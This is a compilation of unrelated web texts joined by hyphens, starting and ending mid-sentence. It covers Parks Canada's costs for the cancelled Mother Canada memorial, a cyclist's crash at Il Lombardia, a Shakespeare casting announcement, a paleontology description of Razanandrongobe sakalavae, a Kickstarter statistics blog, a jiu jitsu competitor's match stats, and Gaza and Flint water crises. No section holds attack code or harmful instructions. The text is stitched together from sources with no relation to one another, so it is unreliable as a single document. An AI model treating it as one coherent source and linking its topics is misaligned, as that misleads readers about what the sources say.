disagreement over the funding for construction and maintenance, and the lack of a “definitive final design plan.” “As a result, the project will not be moving forward on Parks Canada land,” Watson said. The Foundation had planned to raise a necessary $25 million to build the memorial. The previous Conservative government had awarded it a grant of $100,000. Parks Canada says that the environmental assessment was still in the process of being completed when the decision to withdraw from the memorandum of understanding was made. As a result, the DIA will not be completed and input provided by the public on the environmental assessment will not be released. “In light of the fact that comments made by the public were made specifically to provide input on the environmental assessment process, Parks Canada will not be posting those comments,” says a Park Canada statement. The document shows that Parks Canada provided $100,000 “through contribution agreements to develop a visitation analysis to inform the proposal as well as to support a website to maximize public engagement and information sharing.” Also, “Parks Canada incurred expenses related to the Agency’s legislative requirements.” “Expenses related to the environmental assessment included a $42,000 Mi’kmaq Ecological Knowledge Study and a $20,000 land survey,” says the document, adding that Parks Canada required that information as part of its due diligence as the owner of the land and in light of the environmental assessment process. “In addition, $10,500 was incurred to hire a consultant required to facilitate meetings, including the public information session in Ingonish.” In a statement emailed to iPolitics, Parks Canada echoed its earlier statement and said that the public feedback “sought on the draft Detailed Impact Analysis was specifically to provide input into the environmental assessment process. Because the environmental assessment for the project was never finalized, a summary was not completed for public release.” Aaron Wudrick of the Canadian Taxpayers Federation said it’s hard to determine whether $172,000 is a reasonable amount to pay for the consultation because Parks Canada refuses to release the details of the consultations. “Barring exceptional circumstances, the results of these types of consultations should be made public since it is the only way Canadians can have any confidence their money is being spent effectively,” wrote Wudrick in an email. “When taxpayers have to pay the bill, it’s not unreasonable for them to ask what they’re paying for and the vague term “consultations” is not good enough.” The Mother Canada project was criticized over concerns ranging from the environmental to the aesthetic. A local environmental group, Friends of Green Cove, led the charge against the monument. Upon learning that the project was not going ahead, Sean Howard of Friends of Green Cove said it was a victory for the cause of protecting national parks. He also called the news “bittersweet” because the project had become such a divisive issue in the community. Cape Bretoners were divided on the project’s merits. Hector Murphy of Ingonish told the Globe and Mail in 2014 that the ocean-facing monument would distract from the area’s pristine beauty. “If they put it down at Green Cove, all you’re going to see is her arse,” he told the Globe. Meanwhile, Liberal MP Mark Eyking, who represents the riding that would have been home to the monument, maintained all along that the statue could be good for the area. “My position has always been that I supported the idea of the project as long as it met all the criteria, and the private funding needed was in place,” Eyking said in February after the project was cancelled. -Laurens De Plus (Quick-Step Floors) has said that he was fortunate not to have sustained more serious injuries in his crash on the descent of the Sormano during Il Lombardia on Saturday. Related Articles De Plus cameo hints at future as leading man De Plus escapes serious injury in dramatic Il Lombardia crash De Plus diagnosed with knee fracture from Il Lombardia crash Petilli still in hospital after Il Lombardia crash Laurens De Plus is looking for a plus-size career in the mountains The Belgian was the first of four riders to crash on the same bend, and he sustained a small fracture to his right knee when he plunged into a ravine on the roadside while chasing lone leader Mickael Chérel (AG2R La Mondiale). De Plus' fellow countryman Jan Bakelants (AG2R La Mondiale) suffered seven broken ribs and two fractured vertebrae in his crash, while Simone Petilli (UAE-Team Emirates) broke his collarbone, shoulder blade, two vertebrae and suffered a concussion. "I was very lucky," De Plus said, according to Belga. "After my crash, I was looked after very quickly and very well by the race doctors. They did their job well in a very professional way." De Plus endured an ordeal of a different kind that evening, however, due to a shortage of hospital beds in the vicinity. "At first, they wanted to transport me to the same hospital as Bakelants, but it was full, so I was brought to Cantù but that was full too. I had to sleep in the corridor because the rooms were full," De Plus said. "I arrived at around 5pm after a long journey by ambulance, and I wasn't taken care of until 8.30pm. I was in a lot of pain. I spent three and a half hours on a stretcher. It was terrible, I was counting every minute." Preliminary X-rays in Italy did not reveal any fractures but the pain in De Plus' knee was such that he feared he had sustained ligament damage. On arriving in Belgium on Sunday afternoon, De Plus travelled immediately for further examination in hospital in Herentals. It subsequently emerged that De Plus had sustained a small avulsion fracture to the tibial plateau inside his knee, where the tendon pulled away a piece of the tibia in his right knee. "An operation won't be necessary, it will heal by itself. I'll have to use crutches for 10 to 14 days, but within three weeks, I should be walking normally again," De Plus said. De Plus has a clear memory of his crash, and said that he feared the worst as the incident unfolded. Although he was aware of the perils of the descent from his pre-race reconnaissance, he pointed out that in a race, "the situation is different". "It was like a film in slow motion. I realised I was falling and time stopped, everything went very slowly," De Plus said. "I was worried it was going to be a very heavy blow, the end of my career. I even thought that I might die, really. Fortunately, I landed on my legs in the undergrowth. It could have been a lot worse: I could have fallen more heavily, or landed further down." -Media playback is unsupported on your device Media caption Catherine Tate said David Tennant called her and asked her to join him in the production David Tennant and Catherine Tate are to appear together on stage in a new West End production of William Shakespeare's Much Ado About Nothing. The stars will portray reluctant lovers and constant sparring partners Beatrice and Benedick in the Bard's comedy. It will be Tate and Tennant's first appearance together since starring in BBC One's Doctor Who. The play, directed by Josie Rourke, will open at Wyndham's Theatre on 1 June and run until 3 September. Producers said further casting would be announced shortly. Tennant is no stranger to the Bard's works, having worked extensively for the Royal Shakespeare Company with appearances in As You Like It, Romeo and Juliet and A Midsummer Night's Dream. He most recently appeared in Love Labour's Lost and Hamlet in 2008. His portrayal of the tragic character saw him win the Critics' Circle Award for Best Shakespearean Performance. But he is best known for playing the 10th incarnation of the Doctor in Doctor Who. Tate also starred as his companion in the fourth series of the show. She is currently appearing in Alan Ayckbourn's Season's Greetings at the National Theatre and was last in the West End in David Eldridge's Under the Blue Sky. She is also currently seen on the big screen in Jack Black film Gulliver's Travels. -Here we describe new cranial material referable to R. sakalavae and consisting of an almost complete right premaxilla, the rostral half of a left dentary, a maxillary fragment with diagnostic teeth, and a very large isolated tooth crown. In addition, we tentatively refer to the same taxon five cranial fragments that were likely collected at the same locality. This new material greatly improves our knowledge on the cranial anatomy of this species, permitting us to: (1) clarify some previously uncertain features of the holotype due to its fragmentary nature; (2) make more in-depth anatomical comparisons with members of Crocodylomorpha and Theropoda, definitely ruling out it pertaining to the latter group; (3) test the phylogenetic relationships of the species and shed light on the evolutionary history and paleobiogeography of Notosuchia; (4) attempt a cranial reconstruction; and (5) confirm previous remarks on its paleobiology. A decade ago, Maganuco, Dal Sasso & Pasini (2006) described the fragmentary remains of a very large predatory archosaur from the Middle Jurassic (Bathonian) of the Mahajanga Basin, Madagascar. The material included a fragmentary right maxilla bearing three teeth, and seven peculiar isolated teeth clearly belonging to the same taxon. In spite of the scanty remains, the presence of a unique combination of features, which included a well-developed bony palate on the maxilla, mesial and lateral teeth respectively U-shaped and sub-oval in cross-section, and very large tooth denticles (1 per mm) on the carinae, allowed the authors to erect the new taxon Razanandrongobe sakalavae Maganuco, Dal Sasso & Pasini, 2006 . However, the systematic position of the new species remained uncertain: indeed, besides the autapomorphic denticle size, R. sakalavae shared a mix of potential autapomorphic, synapomorphic, and homoplasic features with crocodylomorphs and theropods. Therefore, the species was referred to Archosauria incertae sedis . Remarks — R. sakalavae differs from other known crocodyliforms in the following combination of characters: large predatory mesoeucrocodylian with oreinirostral snout; premaxillae taller than long, bearing five teeth and having aperturae nasi osseae facing rostrally, confluent medially, and bordered by smooth perinarial fossae; lateral edge of aperturae nasi osseae without notch on the premaxilla; very large incisive foramen, with length slightly more than half the greatest width of the premaxilla; premaxillary bony palate ( sensu Kley et al., 2010 ) with subcircular paramedian depressions, located rostrally on the premaxilla; paradental shelf of the premaxilla and maxilla with a surface texture consisting of marked ridges and furrows, in the maxilla extending for a short distance also above the medial neurovascular groove; deep robust maxilla, bearing at least ten teeth and a stout maxillary bony palate ( sensu Kley et al., 2010 ) located well above the level of the alveolar row; deep robust dentary, bearing at least eight teeth, the largest of which are the first three (fourth hypertrophied caniniform tooth absent); preserved part of the dentary with a convexity followed by a concavity along the dorsal edge; splenial contributing to the mandibular symphysis for at least 20% of the whole symphyseal length; dental implantation in separate alveoli; alveolar channels nearly straight in the sagittal plane; alveoli subrectangular to subcircular in occlusal view, with the former located on the paradental wall of the maxilla and on the rostralmost portion of the dentary; dentition heterodont and pachydont ( sensu Hendrickx, Mateus & Araújo, 2015 ); lateral teeth ( sensu Farlow et al., 1991 ) stout, suboval to salinon-shaped in cross-section; mid-lateral tooth crowns not compressed, subcircular in cross section; smallest lateral teeth globe-shaped. Emended diagnosis — The following characters are synapomorphic to R. sakalavae : tip of dentary edentulous, for a length surpassing the diameter of the first alveolus; alveoli with labiolingual diameter larger than mesiodistal diameter; mesial teeth incisiform, U-shaped in cross-section, with both carinae facing the lingual side; denticles present on both carinae in all teeth, homogeneous, symmetrically convex, and very large (0.8–1.4 per mm). Identical counterlateral copies, 3-D printed from CT data, of the left dentary (MHNT.PAL.2012.6.1) and right premaxilla (MHNT.PAL.2012.6.2) herein described, rearticulated with the original specimens. The perfect occlusion of the two bones, in medial (A) as well as in ventral (B) views, unequivocally demonstrates that MHNT.PAL.2012.6.1 and MHNT.PAL.2012.6.2 pertain to the same individual. Scale bar = 5 cm. Abbreviations: see text. Computed tomography (CT) of the two most important referred specimens was performed at the Radiology Department, Spedali Civili di Brescia, Italy, with a Siemens Dual Source Scanner SOMATOM Definition Flash CT. Analysis and post-processing were performed at Siemens Milano, Italy, with a SyngoVia post-processing system using the Region Growing Algorithm to segment volumes and visualize internal anatomical structures. The CT data of the right premaxilla and left dentary were also used to print life-size identical counterlateral bones in 3-D, permitting us to rearticulate them and verify their juxtaposition at jaws closed ( Fig. 2 ). This revealed that the labial margin of the dentary perfectly fits the rim of the medial neurovascular groove of the premaxilla, and that the rostral tip of the dentary symphysis fits the descending margin of the interpremaxillary suture. Moreover, the premaxilla has a bony palate overhanging the edentulous tip of the dentary, leaving no space for any teeth, and two large notches just in front of the first and second dentary alveolus, which accommodated enormous teeth erupting from the dentary. In ventral view, the curvature of the labial sides of the two bones are identical. Moreover, the sutures of the counterlateral bones are correctly aligned along the medial sagittal plane. The perfect occlusion of the two bones demonstrates unequivocally that MHNT.PAL.2012.6.1 and MHNT.PAL.2012.6.2 pertain to the same individual. The matrix encrusting the nasal attachment of the premaxilla was removed, analyzed, and compared to the matrix of the holotype maxilla. They were found to be similar in aspect and mineralogical composition, supporting the hypothesis that the three specimens came from the same geological age [i.e., Middle Jurassic, Bathonian,167.7–164.7 MA ( Cohen et al., 2013 )] and stratigraphic horizon [Sakaraha Formation sensu Geiger, Clark & Mette (2004) , formerly mentioned in the literature as the Isalo IIIb subunit,‘Faciès Mixte Dinosauriens’ ( Besairie, 1972 )]. The very large isolated tooth crown (catalogue n. MSNM V7144) is part of the fossil vertebrate collection at the Museo di Storia Naturale di Milano. This specimen was collected several years ago in the Mahajanga Basin by G Cortenova, an Italian agronomist living in Madagascar. Before his death, Cortenova gave it to G Colombo, an amateur entomologist, who eventually donated the specimen to the museum. Map depicting the Triassic and Jurassic outcrops of the Mahajanga Basin (black areas on the left), and geological map of the surroundings of Ambondromamy, highlighting the Sakaraha Fm. (light blue). Part of the material described herein (the premaxilla and the dentary) comes from the area marked by the blue asterisk. Based on Besairie (1968–1969) The most relevant material described here consists of an almost complete right premaxilla, the rostral half of a left dentary, and a very large isolated tooth crown. The first two specimens belong to the same individual (see below) and are deposited at the Muséum d’Histoire Naturelle de Toulouse under catalogue numbers MHNT.PAL.2012.6.1 (dentary) and MHNT.PAL.2012.6.2 (premaxilla). They were collected by the assistant director of technical services of Société Sucrière de la Mahavavy (D Descouens, pers. comm., 2012) between 1972 and 1974 in the surroundings of Ambondromamy ( Fig. 1 ), the same locality of the Mahajanga Basin that yielded the holotype of R. sakalavae ( Maganuco, Dal Sasso & Pasini, 2006 ) and the sauropod Archaeodontosaurus ( Buffetaut, 2005 ). The specimens were exported from Madagascar under authorization No. 1702 and 2547 of the Mines and Energy Directorate, Ministry of Economy and Finance. Recent careful preparation allowed the specimens to be recognized as belonging to the enigmatic species Razanandrongobe sakalavae . In April 2012, they were acquired by the Muséum d’Histoire Naturelle de Toulouse from the private collection of D Descouens, together with six other cranial fragments anatomically reminiscent of R. sakalavae (catalogued as MHNT.PAL.2012.6.3 to 8) that were collected from an indeterminate Malagasy locality. Of the latter, the largest bone pieces are spongier and more friable, with residual patches of smoothed matrix (possibly due to recent chemical preparation); the smallest pieces are proportionally heavier, denser, whitish, and polished (which suggests prolonged exposure to air and sunlight). Description Premaxilla, MHNT.PAL.2012.6.2 (Fig. 3 and Table 1). The almost complete right premaxilla is taller than long (16 vs 13.5 cm), with the premaxillary symphysis straight in rostral and ventral views. This indicates that the rostrum was rostrocaudally short, dorsoventrally deep, mediolaterally wide, and not pointed. The premaxilla bears five teeth that are sub-vertical and only slightly curved lingually. Specimen TCH labial margin FABL BW FABL /BW FABL/TCH serr. per 5 mm mesial carina serr. per 5mm distal carina DSDI PAL.2012.6.2 pm1 (repl. tooth) – – – – – 5 5 1.00 PAL.2012.6.2 pm2 (41) (24) (24) (1.00) (0.58) – 4.5 – PAL.2012.6.2 pm3 (59) 31 29 1.07 (0.52) – – – PAL.2012.6.2 pm4 (56) 31 27 1.15 (0.55) 4 4 1.00 PAL.2012.6.2 pm5 (51) (30) 28 (1.07) (0.59) 4 – – PAL.2012.6.2 pm5 (repl. tooth) – – – – – 4 – – PAL.2012.6.1 d1 – – – – – – – – PAL.2012.6.1 d2 – [28] [27] [1.04] – – – – PAL.2012.6.1 d3 (48) 27 28 0.96 (0.56) 5 4.5 1.11 PAL.2012.6.1 d4 (23) (27) (26) (1.04) (1.17) – – – PAL.2012.6.1 d5 16 (20) (21) (0.95) (1.25) 6 5.5 1.09 PAL.2012.6.1 d6 (repl. tooth) – – – – – 5 5 1.00 PAL.2012.6.1 d7 (23) 18 16 1.12 (0.78) – – – PAL.2012.6.1 d8 – [19] [19] [1.00] – – – – MSNM V7144 Isolated ?m tooth (67) 35 31 1.13 (0.52) – – – DOI: 10.7717/peerj.3481/table-1 In medial and ventral views, two subcircular paramedian depressions are visible, corresponding to the tip of the mesialmost dentary tooth crowns at jaws closed. The bone wall at one depression is damaged, revealing a well-developed replacement tooth. Dorsal to these depressions is the surface for contact with the palatal portion of the maxilla, namely the rostral portion of the maxillary bony palate. Rostrally, this palatal shelf did not reach the symphysis between the two premaxillae, but instead left an open space in the palate (the incisive foramen) bordered rostrally and laterally by the premaxillae. A subtriangular notch for the premaxillary peg of the maxilla is visible dorsal to the depression hosting the dentary teeth. The rest of the premaxillomaxillary suture is almost flat. There is no lateral groove in the premaxilla for reception of a hypertrophied lower caniniform tooth. The apertura nasi ossea (often improperly called the external naris, which instead refers to the fleshy nostril) is bordered caudolaterally and ventrally by the premaxilla, and dorsally—in all likelihood—by the nasal, whereas rostromedially it clearly lacks any trace of a dorsally directed nasal process along the medial sagittal plane. Therefore, the left and right aperturae nasi osseae did not only face rostrally, but were also confluent medially. The surface of the perinarial fossa is smooth and lateromedially wide, and extends from the caudoventral margin of the apertura nasi ossea to the alveolar margins of premaxillary teeth 1–3 ventrally, and to the ornamented facial portion of the premaxilla caudally. The premaxilla is also dorsolaterally rough and ornamented with small crests, pits, and fine grooves. Near the alveolar margin, the ornamented palatal surface, visible in medial view, is pitted by small neurovascular foramina, which are more abundant in a groove delimiting the dorsal end of the paradental shelf. Dorsally, the walls of the premaxilla taper up to form an extended (80 mm long) attachment area for the nasal. The premaxilla bears four erupted teeth implanted in alveolar positions 2–5. The tooth replacement process is described in detail for the holotype maxilla in Maganuco, Dal Sasso & Pasini (2006). However, CT of the new specimen has provided the following additional information on this process. Resorption of the roots is apparent at positions 2 and 5, in correspondence with the growing replacement teeth, but the roots are still firmly developed and the replacement teeth are growing mostly medial/mesiomedial to the roots. The tips of the replacement teeth are 36 mm from the ventral surface of the premaxilla. At position 3, resorption of the root is more advanced: the tip of the replacement tooth is 22 mm away from the ventral surface of the premaxilla, and is aligned with the erupted tooth. The first alveolus is occupied by a large unerupted replacement tooth. The limited depth of the tooth-bearing portion of the premaxilla in correspondence with the first alveolus (i.e., below the apertura nasi ossea) and the diameter of the alveolus itself indicate that the first premaxillary tooth, even when completely grown, was less than 80% the height of the other premaxillary teeth. Moreover, CT scanning revealed that the roots are straighter mesially than distally when seen in lateral view. Dentary, MHNT.PAL.2012.6.1 (Fig. 4 and Table 1). The left dentary is incomplete caudally. In lateral view, its maximum dorsoventral depth/height (13 cm) is at the level of alveolus 3. The bone then tapers caudally up to the level of alveolus 6, where the dorsal and ventral margins become almost parallel. There is no constriction at or near the mandibular symphysis along the lateral margin. The rostral edge of the symphysis forms an angle of about 50° with the ventral margin of the dentary. The preserved portion of the dentary bears eight large mandibular teeth; however, none can be considered a hypertrophied caniniform tooth. The size of the alveoli varies along the tooth row. Based on alveolar diameter, the mesial teeth are the largest, numbers 4 and 5 slightly decreasing in size; from 6 onward, their size is constantly half the diameter of alveoli 2 and 3. The position of the first alveolus indicates that the tip of the lower jaw is edentulous. Of the eight tooth positions, number 1 is represented by an empty alveolus, number 6 by a replacement tooth erupting from its alveolus, number 7 by a longitudinally broken and empty crown, numbers 2, 4, and 6 by broken crowns without apex, and only numbers 3 and 5 by almost complete crowns. The mandibular symphysis with the counterlateral element is 16 cm long and extends caudally to the level of the third tooth, but considering also the estimated contribution of the splenial, it probably extended posteriorly to the level of the fourth tooth. The splenial itself is not preserved, and is represented by a scar; its apex terminated rostrally in a squared peg at the level of the third tooth, as indicated by rostrocaudally elongate sutural marks on the dentary; it contributed to at least 20% of the length of the mandibular symphysis. Caudal to the symphysis, the splenial formed the medioventral portion of the mandibular ramus, resulting visible also in lateral view. The Meckelian groove is exposed in medial view: rostrally, it reaches the mandibular symphysis; caudally, it fades into the contact surface for the splenial. The lateral surface of the dentary is as well-ornamented as the lateral surface of the premaxilla, and is densely sulcated by rostrocaudally oriented zigzagging vascular canals. Dorsomedially, the bone bears one row of neurovascular foramina parallel to the alveolar margins; internal nutritive foramina bordering alveoli 1–3; and foramina caudal to alveolus 3 aligned in a grooved row closely flanking the lingual margin of the remaining alveoli. Maxillary fragment, MHNT.PAL.2012.6.3 (Figs. 5A–5D). This incomplete maxillary ramus has six incomplete, straight to slightly curved alveoli, as well as two tooth roots and at least one unerupted tooth. The curvature of the bone, the shape of the roots in lateral and medial views, and the position of the replacement tooth with respect to the alveoli indicate that this specimen is part of the right side of the skull. Moreover, the increasing curvature of the rostral portion of the specimen is suggestive of close proximity to the premaxillary contact, permitting us to designate the alveoli as belonging to teeth 1–6 or 2–7. Of note, the interior of the mesialmost tooth has been replaced by a cast made from a coarse-grained, pale-brownish calcite nodule of alabastrine appearance (F Pezzotta, pers. comm., 2016). Position 4 (or 5) still houses the fossilized root dentine of a slightly larger tooth and, mesiomedially, the tip of a replacement tooth protruding vertically down and exposing the large denticles that are diagnostic of R. sakalavae. A small portion of the lateral (external) maxillary wall is preserved caudodorsally to this tooth position, showing the rugose texture seen in the caudal portion of the premaxilla MHNT.PAL.2012.6.2. In rostral view, a triradiate-shaped broken section of the bone marks the remains of the maxillary bony palate, at mid-height of the preserved alveolar height. Dorsal to the shelf, the medial (internal) wall of the maxilla shows a wide concave surface, relatively smooth where the bone is not broken; ventral to the shelf, the bone of the palate is even smoother, with larger nutritive foramina, but is much more concave (this is the transition point from the palate to the dentigerous margin). Premaxillary fragment, MHNT.PAL.2012.6.4 (Figs. 5I–5J). This is a small fragment of bone with three half-sections of alveoli, the middle one still housing a tooth root, broken longitudinally and with the pulp cavity exposed. Orienting the alveoli vertically, the external wall can be seen divided into a rugose dorsal portion and a smoother ventral portion; the latter continues caudodorsally, curving inward into a concave area. By comparison with specimen MHNT.PAL.2012.6.3, we interpret this concave area as a caudolateral tract of the apertura nasi ossea, and the smooth ventral portion as part of the perinarial fossa. Therefore, this bone fragment likely comes from a left premaxilla. Maxillary fragment, MHNT.PAL.2012.6.5 (Figs. 5E–5H). This is a trapezoidal fragment of ornamented bone. The internal wall is traversed by a large, smooth, concave groove. Parallel to one margin of the groove is a long, exposed longitudinal suture. We tentatively refer this fragment to a mediodorsal portion of the ?left maxilla likely contacting the nasal via the aforementioned suture. If the fragment has been correctly placed, the ornamentationwould represent transverse ridges and the groove might be part of a pneumatic space of the maxilla, parallel to the internal choanae, which in mesoeucrocodylians run more medially, below the nasals (e.g., Alligator, Brochu, 1999). Indeterminate fragments, MHNT.PAL.2012.6.6–8. These three specimens are so fragmentary that it is impossible to determine their anatomical positions. However, we tentatively propose cranial or mandibular origins for MHNT.PAL.2012.6.6 and MHNT.PAL.2012.6.8, for the former because of the presence of a heavily rugose and sulcate ?external surface that fades to a smooth texture ?internally via a convex, U-shaped margin, and for the latter because it has a zigzagging suture mark and a possible internal concavity somewhat reminiscent of a cranial opening. MHNT.PAL.2012.6.7 remains totally indeterminate, and is mentioned here only because it is associated with the other fragments. New remarks on the holotype maxilla, MSNM V5770 (Maganuco, Dal Sasso & Pasini, 2006: figs. 3–7). The holotypic cranial fragment of R. sakalavae consists of a portion of right maxilla bearing a markedly rugose paradental shelf, a robust sub-horizontal maxillary bony palate positioned definitely higher (dorsal) to the row of alveoli, five large subvertical alveoli, and three unerupted teeth that illuminate the process of tooth replacement (see Maganuco, Dal Sasso & Pasini, 2006 for details). Thanks to the new material described here, the phylogenetic affinities of R. sakalavae have become clearer. Moreover, they have shed light on some previously uncertain features of the holotype maxilla, such as its position in the skull, some doubtful attachment areas (palatine or ectopterygoid; jugal or lacrimal), the presence/absence of the antorbital fenestra, and the margin of the suborbital fenestra. MSNM V5770 bears the caudal portion of the maxillary tooth row, as indicated by the tapering of the paradental shelf, the ending of the maxillary bony palate, and by the scar on the medial surface of the caudalmost portion of the bone that represents the attachment area for the ectopterygoid. Therefore, the rostralmost portion of the ectopterygoid is rostral to the distal alveoli. The thickest part of the maxillary bony palate is confirmed to be the attachment area for the palatine (Kley et al., 2010: figs. 7D, 7E), as previously suggested by Maganuco, Dal Sasso & Pasini (2006), and participates to the rostral margin of the suborbital fenestra. These features render the palate of Razanandrongobe sakalavae quite basal-ziphosuchian-like [e.g., Araripesuchus (Pol & Apesteguía, 2005)], and not at all baurusuchian-like [e.g., Pissarrachampsa (Montefeltro, Larsson & Langer, 2011)] or peirosaurid-like [e.g., Hamadasuchus (Larsson & Sues, 2007)]. It is impossible to estimate how long the missing rostral portion of the maxilla was, but we have at least some indication of the minimum length thanks to the new specimens (see, Cranial reconstruction and size). The caudolateral surface visible in dorsal view most likely represents the remaining portion of the attachment area for the jugal (e.g., Larsson & Sues, 2007: fig. 2) rather than the pavement of the antorbital fenestra. -If you follow the GameMarx podcast, you know I’m pretty big on watching Kickstarter projects. You might also know I like to play with data. So it should come as no surprise I’ve built a database of Kickstarter project stats – 58,671 projects to be exact. I recently gave a presentation using this data at the Technology Cooperative and will probably be doing this talk a few more times (it’s more than just stats). Initially I planned on keeping the data semi-private out of concerns on how Kickstarter might react. Recent articles such as this infographic and sites like KickTraq have so far been left alone by Kickstarter, so I feel comfortable in publishing my own efforts. Kickstarter’s Hidden Data Before I get to the details I need to point out that Kickstarter does not make it easy to get a complete picture. Search results and project listings on Kickstarter are biased toward live and successful projects. Some projects will not turn up in Kickstarter search results at all – for example no combination of keywords will reveal this project. Further, liberal use of meta “no index” tags on the site tell honest webcrawlers (like Google) not to index their content. What does this mean? It means while I know about 58K of the 64K projects on Kickstarter, my results are biased to the positive. The net effect is I show 48% of projects are successful, while the true rate published by Kickstarter is 44%. The charts below are not exact, but can be used to get a general idea of what is a “best practice” for a Kickstarter project. My efforts so far have been focused on how someone should structure a Kickstarter project to increase the chances for success. The basic approach is to take a question, like “does a video improve the chance of being funded?”, and compare it to the average success rate (in my case, 48%). If the new success rate is above 48%, then we have a winner! So the video question above looks like: Projects with a video have a 52% success rate, while those without have a 35% success rate. Compared to the baseline 48%, I’d say you want to have video. Keep in mind this does not account for the subjective quality of the video, just if the project has a video or not. The next question is “Does Project Length have an effect on success rate?”. When you launch a project you can choose to keep it open as long as 90 days. Here are the results: There is clearly a trend in project length. After 45 days or so you start to do worse than the baseline, but there is a real sweet spot in the 8 – 34 day range. You may note I‘ve used a polynomial regression here instead of the more common linear. Everyone has the preferences, and I like a poly in this case to highlight the sweet spot that would be lost in a straight line. I use a linear when I want to forecast new values along the Y or X axis – and that doesn’t make sense in this case. Next question: “Does Funding Goal have an effect on success rate?” This is almost a perfect linear relationship – the more you ask for, the less likely you are to get it. Note on this chart I did my own amount grouping, as I wanted to see more detail in the lower goal tiers. Below 5,000 is grouped by 500, 5,000 – 10,000 by 1,000, 10K – 30K by 5K, etc. I played with a few other patterens, but the overall shape never changed. Bottom line, asking for more that $5,000 drops you below the baseline. Next Question: “Do the number of Reward Levels have an effect on success rate?” I was surprised by this one – I didn’t expect such a strong relationship. The take home here is you want to have 7 or more reward levels! Next Question: “Does Description Length have an effect on success rate?” I expected to see projects with short descriptions do poorly, but I was curious if long descriptions hurt a project. I’m glad to see they don’t, so be verbose! The counts are not character counts, but rather HTML counts, so they are a little inflated. The crossover point is 2000 HTML characters (let’s say 1500 real characters) or a few paragraphs. Next Question: “Does FAQ Length have an effect on success rate?” Kickstarter has an option for a project FAQ at the bottom of the description. The chart shows just having an FAQ helps, but most (48K) projects have no FAQ at all. Because of this, I’m going to say while it’s good to put some content in FAQ form, I’m not going to count it in my stats. Okay, now to the real question based on the above – What is the success rate of a project that has a video, is 8 – 34 days in length, has a goal of $5,000 or less, has at least 7 reward levels, and contains at least 2,000 HTML characters in the description (again,keep in mind the positive bias)? 73%! Now some caveats! These stats are for all project categories. I’ve already played with the data enough to know that the sweet spots will vary between categories, and between subcategories. As mentioned several times before, the dataset is biased and it’s not looking likely that will change unless Kickstarter releases the data themselves. Finally there are several ways to slice the data and while I feel pretty good in my approach others will disagree. If you are planning to launch a project my advice is to consider the data above, but to then do your own reasearch. Find similar projects and get a feel for why some worked and others didn’t. Many aspects of a successful project cannot be queried easily from website data, so this is just one bit of information to consider and all of this is probably trumped by a good social media campaign promoting the project. Oh, one bonus chart below. Here are the funding levels for the successful “ideal” projects as defined above: Most of those projects raised 150% of their goal (I left off the sub $500 level because the numbers are wacky when you have a $20 goal). It’s not a guarantee, but it’s nice to know when you’re loved, you’re really loved. Finally, if you wish to take a crack at analyzing the data (or verifying this post!) please contact me (you can find my contact info on the site). The data format is an MS SQL database (works with the free Express edition) and sorry, I’m not going to convert it for you, it’s a lot of data. I ask that you be willing to share anything you find, and I’ll update this post with a link to yours below. Update: I’ve posted a Video Game specific version of these stats over on GameMarx. -Mikey Musumeci Jiu Jitsu Study Notable Study Stats: 92% win rate Scored first in 100% of wins Submitted his opponent in 54% of wins Takes his opponents back in 50% of all matches 83% of submissions were chokes from the back Only passed the guard in 17% of matches Average match length was 6:33 Abstract: All matches observed of Mikey Musumeci used in this small sample occurred at major jiu jitsu events in the years 2015-2017. Only techniques, occurrences, and outcomes that were recorded are displayed in the data below (i.e. if no butterfly sweeps occurred, there will not be a representation of that in the sample data charts). Matches were selected at random based on freely available matches. The Mikey Musumeci jiu jitsu breakdown Mikey Musumeci is quietly becoming one of the most accomplished gi jiu Jitsu competitors on the scene today Not only is he one of America’s top talents, he’s often recognized as one of Jiu Jitsu’s brightest minds. Known for his dynamic berimbolo and pliable physique, Musumeci has become one of the most consistent competitors of the modern era. In our study, we see just why he’s become such a tough opponent for many to overcome. The study results Mikey Musumeci was an ascending name in Jiu Jitsu long before he got his black belt. Known for having a complex and innovative guard game, Mikey was a multiple time world champion at the lower belts. However, as we’ve seen in the past, this does not always translate to black belt level competition. In Musumeci’s case, his talent has transitioned almost seamlessly to black belt. The first thing people think of when they think of Mikey Musumeci is likely his guard game. This is for a very good reason. While you may notice that his sweep percentage is extremely low for a guard player – only recording a sweep in 1 of every 3 matches – his back taking ability from the guard is the highest we’ve ever recorded. Musumeci was able to take his opponents back from the guard in approximately 50% of matches. This provides some deep insight into how Musumeci likes his matches to unfold. In the matches we watched, Musumeci very strategically chased his opponents back from the guard; often passing up opportunities for points to do so. This strategy has proven to pay big dividends for Musumeci; who finished from his opponents back 83% of the time when he was able to capture the position. Furthermore, he actually choked his opponent from the back in 45% of matches he won, and submitted his opponent in 50% in of his total matches (54% of his wins). This is such a dynamic and successful strategy for Musumeci, it explains why we rarely find in him positions to pass guard. In fact, in our study we only observed him passing the guard twice. That means he has one of the lowest pass percentages we’ve ever recorded in the study (17%). The stats around Musumeci’s success taking and finishing the back, and his lack of metrics in many other areas very neatly summarize the approach the Musumeci has applied to competition that has allowed him to quickly rise to the top of his weight division (regardless of the ruleset). He is incredibly hard to score against. Recording a submission – or the first points – in 100% of his wins. Mikey Musumeci’s strategy is easy to draw out in a statistical format, but don’t mistake the simplicity of his approach to a simplicity in his technique. Musumeci has a very articulate guard game with specific answers to every problem that his opponent presents him with. His technique is likely underrated; as he can probably be considered in that upper echelon of top guard players. Ultimately, Musumeci is an ascending talent. He is one of America’s greatest talents and is still at the very beginning of his career. It’s likely that we still haven’t seen the best of what he has to offer. -A woman searches for water after Israel bombed her home during its 2014 attack on Gaza. Ezz Zanoun APA images At first glance, the nature of the water crises in Gaza and Michigan look very different. Gaza’s water infrastructure has been bombed repeatedly by Israel. Despite their many problems, the people of Flint and Detroit have been spared such overt brutality. So why did women in Gaza send a message of compassion to women in Flint earlier this month? The answer is simple: both are striving to hold the powerful to account for how the water on which they and their families depend has been contaminated. The letter from Gaza to Flint — signed by various activists, including the prominent doctor Mona el-Farra — notes that Israel controls Palestinian water. The Israeli occupation steals from the coastal aquifer that is Gaza’s main source of water, prevents Palestinians from building sewage treatment facilities and forces them to buy water at prices they cannot afford. Ordinary people in Flint do not enjoy any sovereignty when it comes to water, either. Over the past few years, Rick Snyder, Michigan’s governor, has appointed a series of “emergency managers” — unelected technocrats, with powers to sell off public assets, invalidate union contracts and to undermine local democracy. In 2014, Darnell Earley, one of these emergency managers, decided that Flint should begin using water from Flint River. That was despite how the Michigan authorities deemed water from the river to be unsafe for drinking. Blood poisoning The decision had rapid effects. Locals complained that the water from their faucets was discolored and unpalatable. A research team at Virginia Tech confirmed that the water in Flint was poisoned. The level of lead detected, for example, in some samples was 13,000 parts per billion. The Environmental Protection Agency 